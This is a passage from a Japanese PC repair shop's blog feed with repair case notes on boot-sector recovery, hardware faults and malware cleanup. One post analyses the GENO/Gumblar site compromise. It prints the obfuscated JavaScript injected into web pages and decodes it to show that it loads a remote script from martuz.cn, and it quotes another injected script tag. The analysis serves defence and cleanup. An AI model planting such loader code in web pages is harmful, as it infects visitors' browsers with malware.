								<th scope="col">備考</th>
				</tr>
				<tr>
								<td scope="col">部品代</td>
								<td align="right" scope="col">1,000円</td>
								<td scope="col">購入送料込み</td>
				</tr>
				<tr>
								<td>工賃</td>
								<td align="right">8,000円</td>
								<td>&nbsp;</td>
				</tr>
				<tr>
								<td><strong>合計</strong></td>
								<td align="right"><strong>9,000円</strong></td>
								<td>&nbsp;</td>
				</tr>
</table>
<p>&nbsp;</p>
<table width="100%" cellspacing="0">
				<tr>
								<td align="center"><a href="/pics/heya/2010/IMGP3233.JPG" title="取り外したコンデンサ" rel="lightbox"><img src="/pics/heya/2010/IMGP3233_thumb.JPG" alt="取り外したコンデンサ" width="200" height="133" /></a><br />
								取り外したコンデンサ</td>
								<td align="center"><a href="/pics/heya/2010/IMGP3232_1.jpg" title="基盤面" rel="lightbox"><img src="/pics/heya/2010/IMGP3232_1_thumb.jpg" alt="基盤面" width="200" height="133" /></a><br />
								基盤面</td>
				</tr>
				<tr>
								<td align="center"><a href="/pics/heya/2010/IMGP3247.JPG" title="コンデンサ交換後" rel="lightbox"><img src="/pics/heya/2010/IMGP3247_thumb.JPG" alt="コンデンサ交換後" width="200" height="133" /></a><br />
								交換後</td>
								<td align="center"><a href="/pics/heya/2010/IMGP3264.JPG" title="5vスタンバイ電源のコンデンサ" rel="lightbox"><img src="/pics/heya/2010/IMGP3264_thumb.JPG" alt="5vスタンバイ電源のコンデンサ" width="200" height="133" /></a><br />
								5vスタンバイ電源のコンデンサ</td>
				</tr>
				<tr>
								<td align="center"><a href="/pics/heya/2010/IMGP3261.JPG" title="5vスタンバイ電源のコンデンサ" rel="lightbox"><img src="/pics/heya/2010/IMGP3261_thumb.JPG" alt="5vスタンバイ電源のコンデンサ" width="200" height="133" /></a><br />
								5vスタンバイ電源のコンデンサ</td>
								<td align="center">&nbsp;</td>
				</tr>
</table>
<p>&nbsp;</p>
]]>
		
	</content>
</entry>

<entry>
	<title>Invalid partition tableにてWindows立ち上がらない</title>
	 <link rel="alternate" type="text/html" href="http://koubou.nin29.com/heya/2010/01/invalid_partition_tablewindows.php" />
	<id>tag:koubou.nin29.com,2010:/heya//4.238</id>
	 
	<published>2010-01-26T09:15:29Z</published>
	 <updated>2010-01-26T09:29:20Z</updated>
   
	 <summary>電源オン、メーカロゴを表示後、「Invalid partition table」を表示して、Windows XPが起動しないとのこと。 MBR(Master B...</summary>
	<author>
	  <name>管理者</name>
	  <uri>http://koubou.nin29.com/</uri>
   </author>
   
		<category term="故障・修理・トラブル・障害" />
   
   
	 <content type="html" xml:lang="ja" xml:base="http://koubou.nin29.com/heya/">
 	 <![CDATA[<p><a href="/pics/heya/2010/IMGP3223R.jpg" title="Invalid partition table" rel="lightbox"><img src="/pics/heya/2010/IMGP3223R_thumb.jpg" alt="Invalid partition table" width="200" height="145" align="right" /></a>電源オン、メーカロゴを表示後、「Invalid partition table」を表示して、Windows XPが起動しないとのこと。</p>
<p>MBR(Master Boot Record)のブートストラップローダというIPLブログラムが、「パーティション情報がおかしいよ」と言っているので、ハードディスクが物理的か論理的に破損していると思われます。</p>
<p>今回のケースは、論理的な破損で、無事Windowsが起動するようになった奇跡の生還事例です。</p>
<p>まず、MBRをセクタエディタを使い見てみます。(わたしは、Acronis Disk Director Suite付属のDisk Editorを使っています)</p>
<img src="/pics/heya/2010/mbr.png" alt="MBR" />
<p>LBA=0(C=0/H=0/S=1)がMBRです。黒で反転表示した部分がブートストラップローダ部分です。WindowsXPのものです。</p>
<p>赤で囲まれた部分は、第1パーティションのテーブル情報です。先頭バイトが00ですので起動パーティションではありません。5バイト目が06ですので、FATパーティションということがわかります。後述しますが、第1パーティションは、DellのDiagnosticsです。</p>
<p>第2パーティションテーブル情報は、水色の80から始まる部分です。80ですので、ブートパーティションです。5バイト目の赤色が07なので、NTFSパーティションです。開始位置は、ピンク色をリトルエンディアンで読んで0000FB04です。10進数でLBA=64260セクター目となります。</p>
<p>最後のブートシグニチャ55AAもOKです。ということでMBR部分に問題はありませんので、Invalid partition tableになる原因が分かりません。</p>
<p>念のためブートパーティション(第2パーティション)のブートセクタも見てみます。先ほどの64260番目のセクターとなります。(C=4/H=0/S=1)</p>
<img src="/pics/heya/2010/Part2_NG.png" alt="不良のNTFSパーティションのブートセクター" />
<p>反転部分をよくみると先ほどのMBRのブートストラップローダと全く同じです。どうやら自力で修復しようとして誤って上書きしてしまったようです。</p>
<p>バックアップブートセクタを見てみました。パーティション2の最終セクタに保存されていますので、MBRのパーティションテーブルから計算します。ピンク(開始セクタ)+黄色(総セクタ)-1=0000FB04+0DF741B9-1=64260+234308025-1=234372284セクター(C=14588/H=254/S=63)となります。</p>
<img src="/pics/heya/2010/Part2_OK.png" alt="バックアップブートセクタ" />
<p>幸いにもバックアップブートセクタが生きていましたので、セクタコピーし、パーティション2のブートセクターに上書きしたところ、無事Windowsが起動しました。と言いたいところですが、Security toolに感染していて、立ち上がりませんでした。駆除後正常起動しました。</p>
<p>下の画像は、パーティション情報を別の視点で見たものです。testdiskという壊れたパーティションテーブルを解析して復活することができるツールです。第1パーティションがDellUtilityというボリューム名であることが分かります。</p>
<img src="/pics/heya/2010/testdisk.png" /><p>&nbsp;</p>
]]>
		
	</content>
</entry>

<entry>
	<title>ノートパソコンのハードディスクは、定格容量に注意</title>
	 <link rel="alternate" type="text/html" href="http://koubou.nin29.com/heya/2009/12/currentcapacity_of_hardddiskphp.php" />
	<id>tag:koubou.nin29.com,2009:/heya//4.234</id>
	 
	<published>2009-12-23T10:14:41Z</published>
	 <updated>2009-12-23T10:30:26Z</updated>
   
	 <summary> ソニーVAIO PCG-FX55S/BPが、Windows XPのロゴ表示後再起動くり返すとのこと。たまにOperating System not found...</summary>
	<author>
	  <name>管理者</name>
	  <uri>http://koubou.nin29.com/</uri>
   </author>
   
		<category term="故障・修理・トラブル・障害" />
   
   
	 <content type="html" xml:lang="ja" xml:base="http://koubou.nin29.com/heya/">
 	 <![CDATA[<a href="/pics/heya/2009/IMG2011.jpg" title="STOP: c000021a Unknown Hard Error" rel="lightbox"><img src="/pics/heya/2009/IMG2011_thumb.jpg" alt="STOP: c000021a Unknown Hard Error" width="200" height="117" align="right" /></a>
<p>ソニーVAIO PCG-FX55S/BPが、Windows XPのロゴ表示後再起動くり返すとのこと。たまにOperating System not foundになることもあるそうです。OS not foundのときは、BIOS上ハードディスクを認識していませんでした。</p>
<p>Windows拡張オプションメニュー「システム障害時の自動的な再起動を無効にする」 にて起動すると、STOP: c000021a Unknown Hard Errorを表示しました。</p>
<p>ほぼハードディスクの不良と見て間違いありません。ところが、このハードディスクは、数ヶ月前竜王にある中古PCショップにて5万円も出して交換してもらったそうです。となると、ハードディスクが故障の可能性は低いです。念のため、MEMTEST86+にてメモリーのチャックをしましたが、エラー無し。ハードディスクの表面検査もBIOSが認識してれば、noエラーでした。</p>
<p>コネクタのゆるみか何かが原因かと、外してみたところ、多分これかなぁというのが分かりました。コネクタは、きちんと刺さってましたし、ピンが曲がったりということもありませんでした。</p>
<p>交換したハードディスクが、この機種には厳しいスペックだったのです。2005年以前のノートパソコンは大抵、2.5インチのパラレルATAタイプのハードディスクを使用しています。定格容量5v、0.5A～0.7Aくらいですが、交換したものは、5v 1AのHITACHI製HTS541210H9AT00 100GB 2007年5月製造のものでした(もしかして中古品？)。</p>
<p>多分電流容量不足で、Unknown Hard ErrorになったりBIOSでハードディスクが認識されずOperating System not foundになったりしたのでしょう。定格が1Aといっても常時これだけ流れるわけではありませんが、PCG-FX55S/BPのピーク電流やアベレージ電流がぎりぎりの設計だったのでしょう。</p><table align="center" cellspacing="0" class="table5">
				<tr>
								<td><a href="/pics/heya/2009/IMG2017.jpg" title="HDDをBIOSが認識しない" rel="lightbox"><img src="/pics/heya/2009/IMG2017_thumb.jpg" alt="HDDをBIOSが認識しない" width="200" height="150" /></a></td>
								<td>&nbsp;</td>
								<td><a href="/pics/heya/2009/IMGP3193.JPG" title="定格電流容量0.5アンペアなら安心" rel="lightbox"><img src="/pics/heya/2009/IMGP3193_thumb.JPG" alt="定格電流容量0.5アンペアなら安心" width="200" height="133" /></a></td>
				</tr>
				<tr>
								<td>HDDをBIOSが認識しない。</td>
								<td>&nbsp;</td>
								<td>定格電流容量0.5アンペアなら安心</td>
				</tr>
</table>
<p>&nbsp;</p>
<table cellspacing="0" class="table1">
				<tr>
								<th scope="col">内容</th>
								<th scope="col">費用</th>
				</tr>
				<tr>
								<td>2.5&quot;ハードディスク80GB Seagete製</td>
								<td align="right">7,000円</td>
				</tr>
				<tr>
								<td>パソコンリカバリー一式</td>
								<td align="right">15,000円</td>
				</tr>
</table>
<p>&nbsp;</p>
]]>
		
	</content>
</entry>

<entry>
	<title>黒い画面の中央にマウスでWindowsが起動しません</title>
	 <link rel="alternate" type="text/html" href="http://koubou.nin29.com/heya/2009/12/windows_1.php" />
	<id>tag:koubou.nin29.com,2009:/heya//4.232</id>
	 
	<published>2009-12-10T03:07:48Z</published>
	 <updated>2009-12-23T10:37:22Z</updated>
   
	 <summary>GENOウィルスに感染したサイトの回復のクライアント側の対応事例です。GENOウィルス(正確には、トロイの木馬)は、gumblarの俗名ですが、ほかにDaono...</summary>
	<author>
	  <name>管理者</name>
	  <uri>http://koubou.nin29.com/</uri>
   </author>
   
		<category term="セキュリティ" />
   
		<category term="故障・修理・トラブル・障害" />
   
   
	 <content type="html" xml:lang="ja" xml:base="http://koubou.nin29.com/heya/">
 	 <![CDATA[<p><a href="/heya/2009/11/geno.php" target="_blank">GENOウィルスに感染したサイトの回復</a>のクライアント側の対応事例です。GENOウィルス(正確には、トロイの木馬)は、gumblarの俗名ですが、ほかにDaonolなども同種です。これらに感染すると、Windows起動ロゴが表示された後、黒い画面にマウスポイントだけの状態で、先に進まなくなるケースが多いようです。青い背景まで行く場合もあったりします。</p>
<p>対応方法は、確立されていて、レジストリ・キー\\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32配下のエントリーmidi9をエントリーごと削除すれば、Windowsが起動するようになります。駆除は、Windows起動後、midi9の値にある該当ファイルを削除することになります。</p>
<p>先日対応したお客さんの場合、midi9エントリー以外にaux2エントリーにも、トロイの木馬が記述されており、両方削除しないと、Windowsが起動しませんでした。片方だけの削除ですと、トロイの木馬が復活してしまいました。</p>
<p>作業前にバックアップしたキーは、以下のような情報です。</p>
<p></p>
<pre class="style11">Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\hoge\Microsoft\Windows NT\CurrentVersion\Drivers32]

&quot;midimapper&quot;=&quot;midimap.dll&quot;
&quot;msacm.imaadpcm&quot;=&quot;imaadp32.acm&quot;
&quot;msacm.msadpcm&quot;=&quot;msadp32.acm&quot;
&quot;msacm.msg711&quot;=&quot;msg711.acm&quot;
&quot;msacm.msgsm610&quot;=&quot;msgsm32.acm&quot;
&quot;msacm.trspch&quot;=&quot;tssoft32.acm&quot;
&quot;vidc.cvid&quot;=&quot;iccvid.dll&quot;
&quot;vidc.I420&quot;=&quot;msh263.drv&quot;
&quot;vidc.iv31&quot;=&quot;ir32_32.dll&quot;
&quot;vidc.iv32&quot;=&quot;ir32_32.dll&quot;
&quot;vidc.iv41&quot;=&quot;ir41_32.ax&quot;
&quot;vidc.iyuv&quot;=&quot;iyuv_32.dll&quot;
&quot;vidc.mrle&quot;=&quot;msrle32.dll&quot;
&quot;vidc.msvc&quot;=&quot;msvidc32.dll&quot;
&quot;vidc.uyvy&quot;=&quot;msyuv.dll&quot;
&quot;vidc.yuy2&quot;=&quot;msyuv.dll&quot;
&quot;vidc.yvu9&quot;=&quot;tsbyuv.dll&quot;
&quot;vidc.yvyu&quot;=&quot;msyuv.dll&quot;
&quot;wavemapper&quot;=&quot;msacm32.drv&quot;
&quot;msacm.msg723&quot;=&quot;msg723.acm&quot;
&quot;vidc.M263&quot;=&quot;msh263.drv&quot;
&quot;vidc.M261&quot;=&quot;msh261.drv&quot;
&quot;msacm.msaudio1&quot;=&quot;msaud32.acm&quot;
&quot;msacm.sl_anet&quot;=&quot;sl_anet.acm&quot;
&quot;msacm.iac2&quot;=&quot;C:\\WINDOWS\\system32\\iac25_32.ax&quot;
&quot;vidc.iv50&quot;=&quot;ir50_32.dll&quot;
&quot;msacm.l3acm&quot;=&quot;C:\\WINDOWS\\system32\\l3codeca.acm&quot;
&quot;wave&quot;=&quot;wdmaud.drv&quot;
&quot;midi&quot;=&quot;wdmaud.drv&quot;
&quot;mixer&quot;=&quot;wdmaud.drv&quot;
&quot;aux&quot;=&quot;wdmaud.drv&quot;
&quot;aux2&quot;=&quot;C:\\WINDOWS\\system32\\..\\dnd.jap&quot;
&quot;midi9&quot;=&quot;C:\\WINDOWS\\system32\\..\\fnajg.tmp 0yAAAAAAAA&quot;
</pre>
<p>レジストリキーのエクスポートをすると、追加分は、おけつに表示されるようですので、ウイルスを見つけやすいです。</p>
<p>aux2とmidi9エントリーが怪しいのは、慣れているかたならすぐ見分けがつくと思います。それぞれのエントリを削除後、Windowsを起動し、以下のファイルを削除しました。</p>
<p>C:\WINDOWS\dnd.jap</p>
<p>C:\WINDOWS\fnajg.tmp</p>
<p>Adobe Readerのバージョンが７でしたので、最新の9.2へアップデート。Flashは、10でしたが、マイナーバージョンが多少低かったので、こちらも最新にして完了です。</p>
<p>検体をAVGにて確認してみたところ。</p>
<p>dnd.jap：トロイの木馬Agent.4.AK</p>
<p>fnajg.tmp：トロイの木馬Small.BQM</p>
<p>と検出しました。どんどん亜種が出ているようですので、対応する側も最新状況をWebでウォッチしないとなりません。</p>
<p>&nbsp;</p>
<table cellspacing="0" class="table1">
				<tr>
								<th scope="col">内容</th>
								<th scope="col">費用</th>
				</tr>
				<tr>
								<td>トラブル対応1時間</td>
								<td>2,000円</td>
				</tr>
</table>
<p>&nbsp;</p>
]]>
		
	</content>
</entry>

<entry>
	<title>GENOウィルスに感染したサイトの回復</title>
	 <link rel="alternate" type="text/html" href="http://koubou.nin29.com/heya/2009/11/geno.php" />
	<id>tag:koubou.nin29.com,2009:/heya//4.229</id>
	 
	<published>2009-11-19T05:14:30Z</published>
	 <updated>2010-05-15T11:25:36Z</updated>
   
	 <summary>FTP情報をトロイの木馬型マルウェアに奪われ、サイトを改ざんされた事例が、後を絶ちません。 Adobe ReaderやAdobe Flash Playerの貧弱...</summary>
	<author>
	  <name>管理者</name>
	  <uri>http://koubou.nin29.com/</uri>
   </author>
   
		<category term="セキュリティ" />
   
		<category term="ホームページ" />
   
		<category term="故障・修理・トラブル・障害" />
   
   
	 <content type="html" xml:lang="ja" xml:base="http://koubou.nin29.com/heya/">
 	 <![CDATA[<p>FTP情報をトロイの木馬型マルウェアに奪われ、サイトを改ざんされた事例が、後を絶ちません。</p>
<p>Adobe ReaderやAdobe Flash Playerの貧弱性をついたJava Scriptを読み込むように、されてしまいます(※)。ウェルス対策ソフトは、検知できるのですが、次々と亜種が出てきて、いたちごっこのようです。</p>
<p>(※)実際は、PDFファイルやFlashファイル内に悪意のあるプログラムを埋め込んだものをJava Scriptで読み込むように作られています。</p>
<p>先日も、GENOウィルス(正式名称Torojan.Win32/Daonol.H)にFTPパスワードを盗まれ、ホームページを改竄されてしまったサイトの復旧作業を依頼されて、対応しました。</p>
<p>手順としては、</p>
<p class="style12">１．感染したクライアントPCをネットワークから遮断する。</p>
<p class="style12">２．ホームページを運用しているFTPパスワードを、変更する。</p>
<p class="style12">３．できれば、一時的にホームページを閉鎖する。</p>
<p class="style12">４．感染したhtmlファイルやJava Scriptファイルを、クライアント側で保存してあるファイルで上書きアップロードする。</p>
<p class="style12">５．サイトを再開する。</p>
<p class="style12">６．GoogleやYahooなどで、ブラックリストにされている場合は、サイトの再審査手続きをする。</p>
<p class="style12">７．ホームページ更新用のクライアントPCは、ウィルス駆除もしくは、データバックアップ後、OSのリカバリーをする。</p>
<p class="style12">８．OS、アプリケーションは、常に最新の状態にしておく。</p>
<p class="style12">９．ホームページのサーバで、セキュアFTPが使えるようなら、SFTPや、FTP over SSLなどを使用する。</p>
<p>といった流れとなります。</p>
<p>今年5月のケースでは、手順７をデータのバックアップをせず、OSの再インストールを真っ先にしてしまい、クライアントサイドに、ホームページのバックアップが無く、サーバ上の改竄されたデータしかないとのこと。自分たちでは手がおえなく、依頼がきました。</p>
<p>この場合、手順４は、サーバから、データをダウンロードして、改ざんされたファイルを調べて、改ざん部分のみ削除。その後、ファイルをアップロードし直す。という手順になります。</p>
<p>改ざんされたファイルは、ファイルの更新日付を見ると、ほぼ推測がつきますので、あとは、どこが変更されたかを目で追って、その部分を削除していきます。</p>
<p>改ざんパターンは、一定ですので、秀丸エディタのgrep置換機能などを使えば、数百あるファイルでも、あっという間に更新できてしまいます。</p>
<p>改ざんパターンは、拡張子html、shtml、jsのファイル全てに、スクリプトが埋め込まれていました。</p>
<p>htmlのソースコードは、&lt;body&gt;タグの直前に、以下のような文字列が並んでいました。</p>
<div class="style11">&lt;script language=javascript&gt;&lt;!-- <br />
				(function(ezEqY){var cTxf='var~20~61~3d~22~53c~72~69pt~45ngine~22~2c~62~3d~22V~65r~73io~6e()+~22~2cj~3d~22~22~2cu~3dna~76~69gator~2euser~41ge~6et~3bif((u~2e~69n~64exOf(~22C~68r~6f~6de~22)~3c~30)~26~26~28u~2ein~64exOf(~22Wi~6e~22)~3e0)~26~26(~75~2ein~64exOf~28~22NT~206~22)~3c0)~26~26(documen~74~2e~63~6fo~6b~69e~2e~69~6edexOf(~22mie~6b~3d1~22)~3c0~29~26~26~28type~6ff(~7a~72~76zts)~21~3dtypeof(~22A~22)~29)~7bzrvz~74s~3d~22~41~22~3bev~61~6c(~22~69f(w~69ndow~2e~22~2ba+~22~29j~3dj+~22+a+~22Majo~72~22~2bb+a+~22M~69~6eor~22~2bb+a+~22Build~22~2bb+~22j~3b~22)~3bdocu~6dent~2e~77~72it~65(~22~3cs~63r~69~70t~20s~72~63~3d~2f~2f~6dart~22+~22~75~7a~2ecn~2fvid~2f~3f~69d~3d~22~2bj~2b~22~3e~3c~5c~2fscript~3e~22)~3b~7d';eval(unescape(cTxf.replace(ezEqY,'%')))})(/\~/g);<br />
				--&gt;&lt;/script&gt;</div>
<p>Java Scriptのファイルも&lt;script&gt;タグのないものが行末に追加されていました。</p>
<div class="style11">&lt;!-- <br />
				(function(ezEqY){var cTxf='var~20~61~3d~22~53c~72~69pt~45ngine~22~2c~62~3d~22V~65r~73io~6e()+~22~2cj~3d~22~22~2cu~3dna~76~69gator~2euser~41ge~6et~3bif((u~2e~69n~64exOf(~22C~68r~6f~6de~22)~3c~30)~26~26~28u~2ein~64exOf(~22Wi~6e~22)~3e0)~26~26(~75~2ein~64exOf~28~22NT~206~22)~3c0)~26~26(documen~74~2e~63~6fo~6b~69e~2e~69~6edexOf(~22mie~6b~3d1~22)~3c0~29~26~26~28type~6ff(~7a~72~76zts)~21~3dtypeof(~22A~22)~29)~7bzrvz~74s~3d~22~41~22~3bev~61~6c(~22~69f(w~69ndow~2e~22~2ba+~22~29j~3dj+~22+a+~22Majo~72~22~2bb+a+~22M~69~6eor~22~2bb+a+~22Build~22~2bb+~22j~3b~22)~3bdocu~6dent~2e~77~72it~65(~22~3cs~63r~69~70t~20s~72~63~3d~2f~2f~6dart~22+~22~75~7a~2ecn~2fvid~2f~3f~69d~3d~22~2bj~2b~22~3e~3c~5c~2fscript~3e~22)~3b~7d';eval(unescape(cTxf.replace(ezEqY,'%')))})(/\~/g);<br />
				--&gt;</div>
<p>この部分をざっくり削除してしまえば、いいわけです。</p>
<p>置換文字列は、^\(function\(ezEqY\)\{var.*\/g\);\n としました。行頭(function(ezEqY){var までが ^\(function\(ezEqY\)\{var です。中間部は、 .* として全てにマッチ。行末部 /g); は、 \/g\);\n で改行部分まで、置換対象としてあります。置換文字列中 \マークは、(、)、/、{などのメタキャラクタをエスケープするためのものです。</p>
<p>秀丸エディタの「grepして置換」ダイアログのスクリーンショットです。</p>
<p><img src="/pics/heya/2009/geno1.png" width="467" height="344" /></p>
<p>&nbsp;</p>
<hr />
<p>&nbsp;</p>
<p>埋め込まれたスクリプトは難読化してありますので、解析してみます。まず、可読性を高めるために改行します。</p>
<pre class="style11">
(function(ezEqY){<br />
	var cTxf='var~20~61~3d~22~53c~72~69pt~45ngine~22~2c~62~3d~22V~65r~73io~6e()+~22~2cj~3d~22~22~2cu~3dna~76~69gator~2euser~41ge~6et~3bif((u~2e~69n~64exOf(~22C~68r~6f~6de~22)~3c~30)~26~26~28u~2ein~64exOf(~22Wi~6e~22)~3e0)~26~26(~75~2ein~64exOf~28~22NT~206~22)~3c0)~26~26(documen~74~2e~63~6fo~6b~69e~2e~69~6edexOf(~22mie~6b~3d1~22)~3c0~29~26~26~28type~6ff(~7a~72~76zts)~21~3dtypeof(~22A~22)~29)~7bzrvz~74s~3d~22~41~22~3bev~61~6c(~22~69f(w~69ndow~2e~22~2ba+~22~29j~3dj+~22+a+~22Majo~72~22~2bb+a+~22M~69~6eor~22~2bb+a+~22Build~22~2bb+~22j~3b~22)~3bdocu~6dent~2e~77~72it~65(~22~3cs~63r~69~70t~20s~72~63~3d~2f~2f~6dart~22+~22~75~7a~2ecn~2fvid~2f~3f~69d~3d~22~2bj~2b~22~3e~3c~5c~2fscript~3e~22)~3b~7d';<br />
	eval(unescape(cTxf.replace(ezEqY,'%')))<br />
})<br />
(/\~/g);</pre>
<p>変数 cTxf 内の ~ を % に置換します。</p>
<pre class="style11">var%20%61%3d%22%53c%72%69pt%45ngine%22%2c%62%3d%22V%65r%73io%6e()+%22%2cj%3d%22%22%2cu%3dna%76%69gator%2euser%41ge%6et%3bif((u%2e%69n%64exOf(%22C%68r%6f%6de%22)%3c%30)%26%26%28u%2ein%64exOf(%22Wi%6e%22)%3e0)%26%26(%75%2ein%64exOf%28%22NT%206%22)%3c0)%26%26(documen%74%2e%63%6fo%6b%69e%2e%69%6edexOf(%22mie%6b%3d1%22)%3c0%29%26%26%28type%6ff(%7a%72%76zts)%21%3dtypeof(%22A%22)%29)%7bzrvz%74s%3d%22%41%22%3bev%61%6c(%22%69f(w%69ndow%2e%22%2ba+%22%29j%3dj+%22+a+%22Majo%72%22%2bb+a+%22M%69%6eor%22%2bb+a+%22Build%22%2bb+%22j%3b%22)%3bdocu%6dent%2e%77%72it%65(%22%3cs%63r%69%70t%20s%72%63%3d%2f%2f%6dart%22+%22%75%7a%2ecn%2fvid%2f%3f%69d%3d%22%2bj%2b%22%3e%3c%5c%2fscript%3e%22)%3b%7d</pre>
<p>unescapeします。<a href="/pics/heya/2009/geno_decode.html" target="_blank">デコードスクリプト</a></p>
<div class="style11">var a=&quot;ScriptEngine&quot;,b=&quot;Version()+&quot;,j=&quot;&quot;,u=navigator.userAgent;if((u.indexOf(&quot;Chrome&quot;)&lt;0)&amp;&amp;(u.indexOf(&quot;Win&quot;)&gt;0)&amp;&amp;(u.indexOf(&quot;NT 6&quot;)&lt;0)&amp;&amp;(document.cookie.indexOf(&quot;miek=1&quot;)&lt;0)&amp;&amp;(typeof(zrvzts)!=typeof(&quot;A&quot;))){zrvzts=&quot;A&quot;;eval(&quot;if(window.&quot;+a+&quot;)j=j+&quot;+a+&quot;Major&quot;+b+a+&quot;Minor&quot;+b+a+&quot;Build&quot;+b+&quot;j;&quot;);document.write(&quot;&lt;script src=//mart&quot;+&quot;uz.cn/vid/?id=&quot;+j+&quot;&gt;&lt;\/script&gt;&quot;);}</div>
<p>改行を入れると。</p>
<pre class="style11">var a=&quot;ScriptEngine&quot;,b=&quot;Version()+&quot;,j=&quot;&quot;,u=navigator.userAgent;<br />
if((u.indexOf(&quot;Chrome&quot;)&lt;0)&amp;&amp;(u.indexOf(&quot;Win&quot;)&gt;0)&amp;&amp;(u.indexOf(&quot;NT 6&quot;)&lt;0)&amp;&amp;(document.cookie.indexOf(&quot;miek=1&quot;)&lt;0)&amp;&amp;(typeof(zrvzts)!=typeof(&quot;A&quot;))){<br />
	zrvzts=&quot;A&quot;;<br />
	eval(&quot;if(window.&quot;+a+&quot;)j=j+&quot;+a+&quot;Major&quot;+b+a+&quot;Minor&quot;+b+a+&quot;Build&quot;+b+&quot;j;&quot;);<br />
	document.write(&quot;&lt;script src=//mart&quot;+&quot;uz.cn/vid/?id=&quot;+j+&quot;&gt;&lt;\/script&gt;&quot;);<br />
}</pre>
<p>「http://martuz.cn/vid/?id=Webブラウザの種類」というようなスクリプトを読み込んで実行します。ブラウザのセキュリティーホールを利用した悪意のあるスクリプトを埋め込むことができます。<br />
				googleで「martuz.cn」を<a href="http://www.google.com/search?hl=ja&amp;lr=lang_ja&amp;ie=UTF-8&amp;oe=UTF-8&amp;q=martuz.cn&amp;num=50" target="_blank">キーワード検索</a>してみると、どうやらAdobe Readerのセキュリティホールを利用したマルウェアのようです。</p>
<p>10月に対応したホームページは、難読化されておらず、Java Scriptが&lt;body&gt;タグの直前に埋め込まれていました。</p>
<p>&lt;script src=http://omri.or.kr/data/test.php &gt;</p>
<p>いたずらっぽいですが、test.phpの中身までは、検証しませんでした。</p>
]]>
		
	</content>
</entry>

<entry>
	<title>物理的に壊れたハードディスクからのデータ救済</title>
	 <link rel="alternate" type="text/html" href="http://koubou.nin29.com/heya/2009/11/post_9.php" />
	<id>tag:koubou.nin29.com,2009:/heya//4.228</id>
	 
	<published>2009-11-10T00:00:00Z</published>
	 <updated>2009-11-10T02:57:18Z</updated>
   
	 <summary>電話でのデータ救済に関するお問い合わせは、全国からいただいています。ありがたいことです。「これこれこういう症状なのですが、いくらぐらいかかりますか?」など。 物...</summary>
	<author>
	  <name>管理者</name>
	  <uri>http://koubou.nin29.com/</uri>
   </author>
   
		<category term="故障・修理・トラブル・障害" />
   
   
	 <content type="html" xml:lang="ja" xml:base="http://koubou.nin29.com/heya/">
 	 <![CDATA[<p>電話でのデータ救済に関するお問い合わせは、全国からいただいています。ありがたいことです。「これこれこういう症状なのですが、いくらぐらいかかりますか?」など。</p>
<p>物理的にハードディスクが壊れていなければ、最大8,000円ですので、そのようにお答えしているのですが、物理的な破損と論理的な破損の判断が一般の方ではできず、「見てみないことには、データを救済できるかわかりません」となってしまいます。</p>
<p>物理的な破損の場合、診断料をいただきませんので、持ち込みの場合は、出費がありません。郵送の場合、往復の送料がかかることになります。</p>
<p>”ハードディスクをBIOSが認識しない” とか、”ハードディスクから異音がする”などの場合、物理的破損の可能性大です。</p>
<p>ハードディスクが物理的に破損していても、データを救済してくれる会社がありますので、数十万円の出費でもかまわない方は、”データ復旧”などのキーワードでお探し下さい。<br />
なお、IT工房にんにく庵では、<a href="http://www.data-salvage.co.jp" target="_blank">(株)データサルベージコーポレーション</a>と業務委託していますので、直接ご依頼いただくより割安な価格で復旧できます。</p>
<p>&nbsp;</p>
<p align="center"><a href="/pics/heya/2009/HddCrash.mp3" target="_blank"><img src="/pics/heya/2009/IMGP2687_thumb.JPG" alt="ハードディスクの異音例(MP3 438KByte)" width="200" height="133" /></a></p>
<p align="center"><a href="/pics/heya/2009/HddCrash.mp3" target="_blank">ハードディスクの異音例</a>(MP3 438KByte)</p>
]]>
		
	</content>
</entry>

<entry>
	<title>液晶パネルのバックライト切れ</title>
	 <link rel="alternate" type="text/html" href="http://koubou.nin29.com/heya/2009/11/post_8.php" />
	<id>tag:koubou.nin29.com,2009:/heya//4.226</id>
	 
	<published>2009-11-04T11:05:52Z</published>
	 <updated>2009-11-04T11:15:02Z</updated>
   
	 <summary>ノートパソコンの液晶画面(LCD。液晶ディスプレイ)は、通常蛍光灯(CCFL。冷陰極管)を裏から当てて光らせています。蛍光灯ですので、寿命があります。また、蛍光...</summary>
	<author>
	  <name>管理者</name>
	  <uri>http://koubou.nin29.com/</uri>
   </author>
   
		<category term="故障・修理・トラブル・障害" />
   
   
	 <content type="html" xml:lang="ja" xml:base="http://koubou.nin29.com/heya/">
 	 <![CDATA[<p>ノートパソコンの液晶画面(LCD。液晶ディスプレイ)は、通常蛍光灯(CCFL。冷陰極管)を裏から当てて光らせています。蛍光灯ですので、寿命があります。また、蛍光灯を点灯するためにインバータという高周波・高電圧を作り出す回路も必要です。</p>
<p>液晶パネルのバックライトが切れると、うっすらと画面が表示されますので、すぐにわかります。</p>
<p>メーカーへ修理に出すと、部品代だけでも2万円以上しますので、合計4万円以上の出費となってしまいます。</p>
<p>IT工房にんにく庵では、新品や中古のLCD、インバータを使って修理していましたが、修理代が高くついて修理をあきらめる方もいらっしゃいました。蛍光管が不良の場合は、液晶パネルを丸ごと交換していましたが、CCFLのみの交換もすることにしました。</p>
<p>CCFL 1本2,000円くらいですので、工賃込みで丁度10,000円で済みます。CCFLは、LCDを分解して、サイズを測ってから注文しますので、修理完了まで1週間程度お預かりとなります。</p>
<p>修理件数が多くなれば、常時在庫を持つようにしようと思います。そうすれば、その場で修理してお渡しすることも可能になります。</p>
<table border="0" align="center" cellpadding="5" cellspacing="0" class="table5">
				<tr>
								<td><a href="/pics/heya/2009/_IMG2134.JPG" title="バックライトを分解。これは、CCFLが2本のタイプ" rel="lightbox"><img src="/pics/heya/2009/_IMG2134_thumb.JPG" alt="バックライトを分解。これは、CCFLが2本のタイプ" width="150" height="100" /></a></td>
								<td><a href="/pics/heya/2009/_IMG2130.JPG" title="過熱が原因？。焼けてしまってます。" rel="lightbox"><img src="/pics/heya/2009/_IMG2130_thumb.JPG" alt="過熱が原因？。焼けてしまってます。" width="150" height="100" /></a></td>
								<td><a href="/pics/heya/2009/IMGP2426.JPG" title="蛍光管の端が過熱により液晶パネルにダメージを与えています。" rel="lightbox"><img src="/pics/heya/2009/IMGP2426_thumb.JPG" alt="蛍光管の端が過熱により液晶パネルにダメージを与えています。" width="150" height="100" /></a></td>
				</tr>
				<tr>
								<td>バックライトを分解。これは、CCFLが2本のタイプ</td>
